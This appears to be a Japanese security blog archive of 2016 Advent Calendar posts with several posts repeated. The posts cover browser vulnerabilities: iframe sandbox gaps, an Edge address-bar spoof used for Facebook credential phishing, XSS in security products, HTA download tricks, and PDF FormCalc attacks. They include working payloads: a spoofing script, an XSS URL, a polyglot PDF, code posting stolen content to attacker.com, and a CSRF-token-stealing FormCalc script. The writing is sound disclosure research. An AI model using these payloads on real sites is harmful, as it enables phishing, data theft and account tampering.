「脆弱性"&'<<>\ Advent Calendar 2016」20日目の記事です。
今回はiframe sandboxの仕様から漏れた脆弱性とは言えないものの話です。
1. ダウンロード
iframe sandboxでdownloadを防ぐことは出来ません。
PoC
https://vuln.shhnjk.com/sandbox.php?url=/download.php
2. カスタムプロトコル
iframe sandboxでカスタムプロトコルの使用を防ぐことは出来ません。先日Edgeのiframe sandbox bypassとして公開された手法も確認画面が出ないこと以外はこの仕様の問題で、Windows 10のChromeでもmicrosoft-edge:を使うことが出来ます（確認画面は出ますが）。
PoC
https://vuln.shhnjk.com/sandbox.php?url=/custom.html
iOSではまた別の挙動があったりと、確認画面が出る出ないも良く分からない状態です。
3. History
iframe sandboxではallow-top-navigationが指定されていない限り親Windowのリダイレクトは出来ないはずですが、allow-scriptsが指定されていた場合Historyを使うことで親Windowの履歴を操作することが出来ます。
PoC
https://vuln.shhnjk.com/sandbox.php?url=/history.html&s=allow-scripts
しかしhistory.pushStateは同一オリジンでないと実行出来ず、iframe sandboxはオリジンがnullなので、親Windowを任意のサイトにリダイレクトすることは出来ないと思います。
ということで、iframe sandboxを使う際は何をサンドボックス化してくれるのか確かめてから利用しましょう。
ではでは。（脆弱性"&'<<>\ Advent Calendar 2016誰か書いて下さい！）
2016年12月20日火曜日
2016年12月9日金曜日
Edgeのアドレスバー偽装
「脆弱性"&'<<>\ Advent Calendar 2016」9日目の記事です。
追記
-------------------------------------------------------------
MSRCからミスだったとのメールがありました。
無事ケースが作られ、脆弱性として対応して
貰えることになりました。
-------------------------------------------------------------
先日MicrosoftにEdgeのアドレスバー偽装のバグを報告したところ、脆弱性ではないと言われたので公開します。
以下が再現コードです。ただ単に長いURLにリダイレクトしてあげればいいだけ。
<a href="#" onclick="window.w=window.open('https://www.google.com');go()">go</a>
<script>
function go(){
setTimeout(function(){w.location.replace("https://shhnjk.com/#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")},3000);}
</script>
PoC
https://shhnjk.com/w.html
脆弱性ではないとのことなので、どんなことができるのかやってみました。
FacebookのポストをクリックするとFacebookのログアウトCSRFを使ってFacebookがログアウトされ、さらにOpenerと今回のアドレスバー偽装を使って攻撃者のサイトにあるFakebookのログイン画面にリダイレクトされます。そこでメールアドレスとパスワードが入力されれば、それを盗んで正規のFacebookログイン画面に飛ばして終了です。
これ以外にもEdgeのアドレスバー偽装は公開されています。
http://www.cracking.com.ar/demos/edgespoof/2/
ChromeやFirefoxでは報奨金が貰える脆弱性なのですが、Microsoftは脆弱性とは認めないとのことなので、EdgeやIEのアドレスバーはお飾りぐらいに思っておいた方がいいのかもしれません。
ではでは。
追記
-------------------------------------------------------------
MSRCからミスだったとのメールがありました。
無事ケースが作られ、脆弱性として対応して
貰えることになりました。
-------------------------------------------------------------
先日MicrosoftにEdgeのアドレスバー偽装のバグを報告したところ、脆弱性ではないと言われたので公開します。
以下が再現コードです。ただ単に長いURLにリダイレクトしてあげればいいだけ。
<a href="#" onclick="window.w=window.open('https://www.google.com');go()">go</a>
<script>
function go(){
setTimeout(function(){w.location.replace("https://shhnjk.com/#aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")},3000);}
</script>
PoC
https://shhnjk.com/w.html
脆弱性ではないとのことなので、どんなことができるのかやってみました。
FacebookのポストをクリックするとFacebookのログアウトCSRFを使ってFacebookがログアウトされ、さらにOpenerと今回のアドレスバー偽装を使って攻撃者のサイトにあるFakebookのログイン画面にリダイレクトされます。そこでメールアドレスとパスワードが入力されれば、それを盗んで正規のFacebookログイン画面に飛ばして終了です。
これ以外にもEdgeのアドレスバー偽装は公開されています。
http://www.cracking.com.ar/demos/edgespoof/2/
ChromeやFirefoxでは報奨金が貰える脆弱性なのですが、Microsoftは脆弱性とは認めないとのことなので、EdgeやIEのアドレスバーはお飾りぐらいに思っておいた方がいいのかもしれません。
ではでは。
2016年12月8日木曜日
セキュリティ製品のお話
「脆弱性"&'<<>\ Advent Calendar 2016」8日目の記事です。
「このまま黙って見てればキヌガワさんの隠しテクバンバン公開されるんじゃね？」と思ってしまったあなた、今すぐ脆弱性"&'<<>\ Advent Calendar 2016に登録して何か書きましょう。
さて、自社で取り扱っている製品をセキュアにしようという口実でサイボウズ脆弱性報奨金制度に参加していますが、「貴様金目当てだろ」と言われないよう他の製品も見てみました。
まずFireEyeのETPを見てみたところ、隔離されたメールを表示するページの検索機能でSelf-XSSを発見しました。
報告したところ、管理者のみ？見れるAPTページにも同様のXSSがあり、何故か優先度Highで修正されました。
次にトレンドマイクロのWorry-Free Business Securityという製品でXSSを見つけました。
https://wfbs-svc.trendmicro.com/wfbs-svc/intl/en/view/lockout_page?date=%3Cscript%3Ealert(document.domain)%3C/script%3E
修正後見に行ったところ、DuckDuckGoみたいにタグがあったら消す修正方法だったので、不完全なタグを入れることで再度XSS出来ました。ちなみに管理者に踏ませると企業内の各PCのPC名、ローカルIP、パターンファイル情報などが抜き取れました。
最近ではGoogleのProject Zeroにより、アンチウィルスなどのセキュリティ製品が実は危ないということが分かってきました。以下は主要アンチウィルスの脆弱性を次々に見つけたTavisさんのツイート。
「どのアンチウィルスを使えばいいか良く聞かれるが、アンチウィルスは問題を解決する以上に生み出すよ」
またKasperskyが独自のセキュアなOSを開発したニュースについてProject Zeroのメンバーから「そのOSにアイツらの糞みたいなアンチウィルスじゃなくてWindows Defender入れられるの？」という質問も飛び出しています。
この問題の証明として、Tavisさんはアンチウィルスのゼロデイが実際に買われているとツイートしています。
アンチウィルスは権限が高いにも関わらず、設計や開発がボロボロらしいです。ということで、標的型攻撃の際はアンチウィルスが守ってくれるのではなく攻撃に使われることを想定しましょう。また日本でアンチウィルスを入れるべきか否かなどの議論がおきてくれると有り難いです。
ではでは。
「このまま黙って見てればキヌガワさんの隠しテクバンバン公開されるんじゃね？」と思ってしまったあなた、今すぐ脆弱性"&'<<>\ Advent Calendar 2016に登録して何か書きましょう。
さて、自社で取り扱っている製品をセキュアにしようという
まずFireEyeのETPを見てみたところ、隔離されたメールを表示するページの検索機能でSelf-XSSを発見しました。
報告したところ、管理者のみ？見れるAPTページにも同様のXSSがあり、何故か優先度Highで修正されました。
次にトレンドマイクロのWorry-Free Business Securityという製品でXSSを見つけました。
https://wfbs-svc.trendmicro.com/wfbs-svc/intl/en/view/lockout_page?date=%3Cscript%3Ealert(document.domain)%3C/script%3E
修正後見に行ったところ、DuckDuckGoみたいにタグがあったら消す修正方法だったので、不完全なタグを入れることで再度XSS出来ました。ちなみに管理者に踏ませると企業内の各PCのPC名、ローカルIP、パターンファイル情報などが抜き取れました。
最近ではGoogleのProject Zeroにより、アンチウィルスなどのセキュリティ製品が実は危ないということが分かってきました。以下は主要アンチウィルスの脆弱性を次々に見つけたTavisさんのツイート。
「どのアンチウィルスを使えばいいか良く聞かれるが、アンチウィルスは問題を解決する以上に生み出すよ」
I get asked constantly what av to use. You're missing the point; av creates more problems than it solves, and we're overdue an av slammer.— Tavis Ormandy (@taviso) 2016年3月12日
またKasperskyが独自のセキュアなOSを開発したニュースについてProject Zeroのメンバーから「そのOSにアイツらの糞みたいなアンチウィルスじゃなくてWindows Defender入れられるの？」という質問も飛び出しています。
The real question is, can I get Windows Defender on it rather than their shitty AV?https://t.co/bkqlppECVo— James Forshaw (@tiraniddo) 2016年11月21日
この問題の証明として、Tavisさんはアンチウィルスのゼロデイが実際に買われているとツイートしています。
@VessOnSecurity @johndzban @Jindroush You were talking as if you knew about this topic. How about this https://t.co/dvgbb14DA1— Tavis Ormandy (@taviso) 2016年11月25日
アンチウィルスは権限が高いにも関わらず、設計や開発がボロボロらしいです。ということで、標的型攻撃の際はアンチウィルスが守ってくれるのではなく攻撃に使われることを想定しましょう。また日本でアンチウィルスを入れるべきか否かなどの議論がおきてくれると有り難いです。
ではでは。
2016年12月3日土曜日
CyVDB-1118関連
「脆弱性"&'<<>\ Advent Calendar 2016」3日目の記事です。
今回はCyVDB-1118関連の話です。CyVDB-1118はアップロード型のRFDで、会社のプロファイル画像にScriptタグが入った画像をアップロードし、その画像の拡張子を.htaに変えたリンクを作成することで、htaファイルがダウンロードされるというものです。
これと同じ脆弱性がログインページの背景画像にもありました。ログインページはログインしていなくてもアクセス出来る為、この脆弱性を使って悪意のあるファイルを別のサブドメインやサイボウズを使っていない人にもばら撒くことが出来ました。例えば以下のようにサイボウズのdownloadというサブドメインを取得してログイン画像のURLをばら撒くだけ（現在は修正されている為、画像がダウンロードされます。）。
https://download.cybozu.com/api/screen/loginBackground.do/-/CybozuDesktop_Update.hta
さて、先日ImageGateという画像に見せかけたランサムウェアをSNSなどで拡散し感染させる手法の一部が公開されました。
これと似たバグをサイボウズのキントーンでも見つけました。
動画を見ると分かりますが、メッセージ内の画像をダウンロードして開くと電卓が起動しています。再現方法は、まずキントーンのメッセージで以下のファイルをアップロードします。
https://shhnjk.com/hta.png
アップロードの際、プロキシなどで画像の拡張子をpngからhtaに変えます。するとContent-Typeはimage/pngな為、画像のプレビューが作動します。しかし、ダウンロードするとhtaとしてダウンロードされるので、電卓が起動します。FirefoxのみContent-typeをContent-Dispositionのファイル名より優先するので再現しませんが、それ以外のブラウザでは再現します。残念ながらキントーンのメッセージではhtaファイルをアップロードすること自体は禁止されていない為、このバグは脆弱性として認定されませんでした。
ということで、画像をダウンロードしたら開く前に拡張子を確認しましょう。
ではでは。
今回はCyVDB-1118関連の話です。CyVDB-1118はアップロード型のRFDで、会社のプロファイル画像にScriptタグが入った画像をアップロードし、その画像の拡張子を.htaに変えたリンクを作成することで、htaファイルがダウンロードされるというものです。
これと同じ脆弱性がログインページの背景画像にもありました。ログインページはログインしていなくてもアクセス出来る為、この脆弱性を使って悪意のあるファイルを別のサブドメインやサイボウズを使っていない人にもばら撒くことが出来ました。例えば以下のようにサイボウズのdownloadというサブドメインを取得してログイン画像のURLをばら撒くだけ（現在は修正されている為、画像がダウンロードされます。）。
https://download.cybozu.com/api/screen/loginBackground.do/-/CybozuDesktop_Update.hta
さて、先日ImageGateという画像に見せかけたランサムウェアをSNSなどで拡散し感染させる手法の一部が公開されました。
これと似たバグをサイボウズのキントーンでも見つけました。
動画を見ると分かりますが、メッセージ内の画像をダウンロードして開くと電卓が起動しています。再現方法は、まずキントーンのメッセージで以下のファイルをアップロードします。
https://shhnjk.com/hta.png
アップロードの際、プロキシなどで画像の拡張子をpngからhtaに変えます。するとContent-Typeはimage/pngな為、画像のプレビューが作動します。しかし、ダウンロードするとhtaとしてダウンロードされるので、電卓が起動します。FirefoxのみContent-typeをContent-Dispositionのファイル名より優先するので再現しませんが、それ以外のブラウザでは再現します。残念ながらキントーンのメッセージではhtaファイルをアップロードすること自体は禁止されていない為、このバグは脆弱性として認定されませんでした。
ということで、画像をダウンロードしたら開く前に拡張子を確認しましょう。
ではでは。
2016年10月29日土曜日
PDF特殊機能（FormCalc編）
前回に続きPDFの特殊機能を説明します！今回はFormCalcというスクリプト言語の説明です。
PDFを使ってフォームが作れるのはご存知かと思いますが、このフォームを作る為にPDFのバージョン1.2からAcroformsが追加され、バージョン1.5からXFA(XML Forms Architecture)が追加されました。フォームでの動的な処理の為、XFAではFormCalcという演算言語が標準言語として使われています。簡単に言うとHTMLで<script>と書いた場合Javascriptとして実行されますが、XFAで<script>と書いた場合FormCalcで実行されるということです。
FormCalcの最新版(?)参考資料は以下です。
http://help.adobe.com/ja_JP/livecycle/9.0/FormCalc.pdf
ちなみに、ブラウザに搭載されているPDF ViewerなどはFormCalcをサポートしていない為、FormCalcが使えるのはAcrobat Readerを使ってPDFを閲覧しようとした場合（標準設定ではIEのみ）になります。
さて、2014年にCure53のAlexander氏によりFormCalcのURL関数を使ったクロスオリジンのデータが取得可能であった脆弱性が修正されたことが公開さ れ、その中で同一オリジンへのデータ取得はバグではない為修正がされない ことも言及されました。
http://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html
http://insert-script.blogspot.com/2015/05/pdf-mess-with-web.html
FormCalc参考資料によるとFormCalcのURL関数には3つの種類があります。Get、Post、Putです。その名の通りPDFと同一のオリジンにGet、Post、Putのリクエストをすることができます。
Getの例
Get("https://SameOrigin.withPDF.com/")
Postの例
Post("https://SameOrigin.withPDF.com/","contents here","application/json","utf-8","Custom: header-here")
Putの例
Put("https://SameOrigin.withPDF.com/", "contents here","utf-8")
参考資料に詳しい説明が載っていますが、パラメータが一番多いPostの説明をすると以下の様になります。
Param 1: ポストするサイトのURL
Param 2: ポストするコンテンツ（Request body）
Param 3: 有効な任意のMIMEタイプ
Param 4: 有効な 任意の文字エンコード
Param 5: 任意のヘッダー（Request header）
3、4、5はオプションです。Alexander氏のスライドを見ると分かるよう、昔はユーザエージェント以外の任意のヘッダーが遅れたようですが、今ではクッキーやホストヘッダーなどが送れなくなっています。しかしサイト独自のヘッダーなどは今でも送れます。
説明が長くなってしまいましたが、Alexander氏の発表から、サイトにPDFファイルをアップロード出来る機能があり、PDFが保存されるオリジンに機密情報がある場合、以下の様にその情報を抜き出すことが出 来ます。
var content = GET("https://SameOrigin.withPDF.com/user_info.php");
Post("http://attacker.com",content);
PoC
https://shhnjk.com/post.pdf（IEでアクセスして下さい）
ブラウザでPDFを開いただけでクロスオリジンに情報が漏洩するという素晴らしい機能です（笑）上記のPoCではhttps://shhnjk.com/xss.txtにGetでアクセスし、そのレスポンスをPostを使って攻撃者のサイトに送っています。クロスオリジンのサイトにPostする場合、普通はエラーになってしまいますが、以下の様なcrossdomain.xmlを設定すればエラーなくPostを受け取れます（一番脆弱なcrossdomain.xmlなので普通のサイトでは設定しないで下さい）。
http://szabist.web.fc2.com/crossdomain.xml
翌年2015年にSoroush氏によりFormCalcとJavascriptを使って、埋め込まれたPDFからGetした情報を別オリジンと共有する手法が公開されました。
https://github.com/nccgroup/CrossSiteContentHijacking
この手法の素晴らしいところは以下のPDF自体に修正を加える必要ない点です。
https://15.rs/ContentHijacking/objects/ContentHijacking.pdf
以下のPoCサイトにPDFのURLと読み取りたい同一オリジンのページを指定してあげるだけでいいのです。
https://15.rs/ContentHijacking/ContentHijackingLoader.html?objfile=https://shhnjk.com/ContentHijacking.pdf&objtype=pdf&target=https://shhnjk.com/xss.txt&isauto=1
IEで開くとhttps://shhnjk.com/xss.txtのコンテンツである<script>alert(document.domain)</script>が表示されるかと思います。さて、読み込むPDFにX-Frame-Optionsが指定されてたら攻撃者のサイトに埋め込んでもダメじゃんと思った方もいるのではないでしょうか。ご心配なく！objectやembedタグ内にtype="application/pdf"と記載することでPDFがホストされているサイトのX-Frame-OptionsやContent-Dispositionは無視されます（笑）
まだまだ続きます。更に翌年2016年にKrzysztof氏とG´abor氏により、各ブラウザでAcrobat Readerを使いPDFを表示する設定にされている場合の脅威に関する研究結果が発表されました。
https://www.alchemistowl.org/pocorgtfo/pocorgtfo12.pdf（Content Sniffing with Comma Chameleon）
上記のPDFはPolyglotで拡張子をZipに変えるとPoCファイルが出てきます（APKファイルにもなるらしい）。素晴らしいペーパーなので是非読んで頂きたいですが、要約したまとめが以下です。
IE: 分かっている通り標準設定でAcrobat Readerが使われ、FormCalcも使える。
Chromium: Acrobat ReaderなどのNPAPIをサポートしていない為、攻撃不可能。
Firefox: Acrobat Readerを使う設定にするとFormCalcは使えるが、使う度に有効にするというボタンを押さなければいけない為、現実的ではない。
Safari: Acrobat Readerを使う設定にするとAcrobat Readerが確認なしで使えてFormCalcも使える。
更にIEとSafariにMIMEタイプがapplication/pdfでないPDFをtype="application/pdf"として埋め込んだところ、SafariはそれでもFormCalcが使えて、IEは使えなかったとのことです。IEでFormCalcが使えかった理由はMIMEタイプが正しくない場合、そのPDFをFileオリジンでロードする為、どんなサイトのPDFでもクロスオリジンとみなされるからです（前編で紹介したやつです）。
この研究では更に、FormCalcのコードをクロスオリジンから送れる最小限のPDFを作成しています。
%PDF-Q 1 0 obj<</Length 1>>stream
<xdp xmlns="http://ns.adobe.com/xdp/"><config><present><pdf><interactive>1</interactive></pdf></present ></config><template><subform name="s"><pageSet/><event activity="exit"><script>r=Eval(P)</script></event></subform></template></xdp> endstream endobj xref 0 2 0000000000 65535 f 0000000007 00000 n trailer<</Root<</AcroForm<</XFA 1 0 R>>/Pages<<>>/OpenAction<</S/JavaScript/JS(hostContainer.messageHandler={onDisclose:Date,onMessag e:function(a){eval(a[0])}})>>>>>> startxref 286 %%EOF
これにより、JSONやCSVファイルなどに上記コードを入れられた場合、そのファイルをPDFとして埋め込むことでPDFがアップロード出来ないサイトにも影響が及ぶようになります。
ここまでがPDFWebSecの軽いまとめです（笑）ここまで読んで頂いた方はあと少しですので頑張って下さいｗ
さて僕がまず考えたことは、SafariでAcrobat Readerを使う設定にしていない場合でも攻撃できないかという所です。ここで目を付けたのがFDFです。SafariではPDFやFDFのオン/オフ設定が一緒な為、前回説明した通りFDFを許可したサイトではPDFもAcrobat Readerで表示されるようになります。そこに前回紹介したiframeを使って信頼されているドメインから許可を貰えばOK。なはずだった…
Comma Chameleonが発表された後、SafariはPDF関連の機能をよりセキュアしました。まずプラグインの設定からAdobe Readerがオンになってない場合（標準設定では確認）はクリックしないとAcrobat Readerが有効化されないようになりました。こちらはstyle="visibility:hidden;"で以前の確認アラートに戻せることも紹介しました。しかし更に、SafariでFormCalcのURL関数を使ってもクッキーを送ってくれなくなりました（泣）再現の為に以下のページを用意しました。
https://shhnjk.com/CookieOrKitKat.php
こちらはクッキーを持っていればクッキー、持っていなければキットカットと返してくれるページです。クッキーを設定するには以下のページでボタンを押します。
https://shhnjk.com/Cookie.php
ボタンをしてから最初のページに行くとクッキーが帰ってくれば OK。SafariでAdobe Readerをオンにした状態で以下を開きます。
https://shhnjk.com/calc.pdf
こちらはCookieOrKitKat.phpのコンテンツにFormCalcでアクセスし結果をアラートしてくれるPDFです。Safariではクッキーを設定してもPDFを開くとキットカットが返ってくると思います。しかしIEで試すとちゃんとクッキーが返ってきます。その為、SafariでFormCalcを使おうとしても、出来ることはお問い合わせのCSRFバイパスぐらいでしょう。
ではMIMEタイプが正しくないPDFの攻撃は完全に死んだのでしょうか。標準設定では現時点で攻撃する方法はないでしょう。しかし、PDFをAcrobatで表示する設定にしている場合、まだ１つだけ方法があります。Firefoxです。FirefoxでもAcrobat Readerを有効化するにはクリックが必要ですが、こちらもSafari同様style="visibility:hidden;"で有効にしますかのアラートに変わり、iframeを使って別のオリジンの信頼で有効化することが出来ます。
PoC
http://shhnjktest.blogspot.com/2016/10/calc-embed-test.html
Windows版のFirefoxでPDFをAcrobatプラグインで開く設定にした状態でアクセスしてみて下さい。calc.txtを埋め込んでいますが、無事PDFとして読み込み更に攻撃者サイトのオリジンではなく、トップドキュメントのオリジンで許可が聞かれていると思います。Cookie.phpからクッキーを設定するとクッキーというレスポンスが返ってくるかと思います。実際のサイトのiframe内でどのように任意のコンテンツを表示するかですが、まずは前回言ったように広告が使えます。広告を表示しているサイトはiframeサンドボックスを使うと拡張やプラグインが実行されないので良いでしょう。広告がないサイトの場合はリンク作成機能などを見ましょう。リンクのターゲットが任意に指定できる場合はこれが使えます。
PoC
https://shhnjktest.blogspot.com/2015/11/test.html
これは以前紹介したBloggerがコメント投稿にiframeを使っていることを利用し、リンクでコメント投稿のiframeをターゲットにしています。ちなみに、リンクと同一オリジンであればどんなページのiframeでもターゲットに出来ます。
ここで残念なお知らせがあります。Firefoxは2017年の3月からNPAPIをサポートしなくなります。その為、Acrobat ReaderがFirefoxで使えなくなり、今回の攻撃が出来なくなるでしょう。やはりMIMEタイプが正しくないPDFの攻撃は死にゆくのでしょうか。いや、まだ希望があります。IEでMIMEタイプが正しくないPDFの攻撃が出来ないのは、そのPDFをFileオリジンからロードする為です。しかし、リモートのPDFがFileオリジンでロードされることによる脆弱性をIEに報告済みで、2017年のバレンタインデーに修正がリリースされる予定です。ここで間違った修正がリリースされた場合、IEでこの攻撃が可能になってきます。果たしてMSがチョコを渡すのはユーザか、それとも攻撃者か。楽しみですね！
それでh、、、、ちょっと待った。
なんかモヤモヤしませんか？攻撃者は情報をクロスオリジンに送ることだけが目的なのか。いや、我々は改ざんしたい！（笑）
クロスオリジンに情報を送り、その情報からCSRFトークンを抜き出し、攻撃者サイトのフォームに入れて、そこにリダイレクトすればいいのかもしれませんが、面倒くさいし、攻撃者のサイトにリダイレクトしたら攻撃がバレてしまう。
少し初心に戻ってみます。2014年に公開された攻撃の時点で、
var content = GET("https://SameOrigin.withPDF.com/user_info.php");
//content←ここにCSRFトークンも入ってるはず。
Post("http://attacker.com",content);
つまりレスポンスの情報からPDF内でCSRFトークンを抜き出せれば、同一オリジンからそのCSRFトークンを使って攻撃できるということです。FormCalcには色んな関数があるので、その中の文字列関数を使ってみます。
以下にコメントページがあります。
https://shhnjk.com/add_comment.php
クッキーがないと見れないので、先ほどのCookie.phpに行きクッキーを貰います。コメントページにはCSRFトークンがあり（今回はabcdで固定）、投稿されたコメントはcomments.phpに反映されます。このコメント動作をPDFだけを使ってやってみます。
PoC
https://shhnjk.com/CSRF.pdf
以下がスクリプトです。
var content = Get("https://shhnjk.com/add_comment.php");
var csrf = Substr(content, At(content,"token")+13, 4);
var data = Stuff("token=&comment=hacked", 7, 0, csrf);
Post("https://shhnjk.com/comment.php",data,"application/x-www-form-urlencoded","utf-8");
